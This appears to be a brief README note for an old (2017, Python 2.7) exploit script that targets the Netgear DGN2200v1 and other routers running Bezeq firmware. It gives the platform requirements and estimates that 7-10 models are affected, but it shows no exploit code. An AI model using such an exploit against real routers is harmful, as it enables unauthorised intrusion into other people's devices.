The exploit script only works on UNIX-based systems.

This ancient vulnerability works on other models utilizing Bezeq firmware, so not just DGN2200v1 is vulnerable. It is estimated that around 7-10 other models might be or might have been vulnerable in the past.
This is a very old exploit, dating back to 2017, so forgive me for Python2.7 lol.
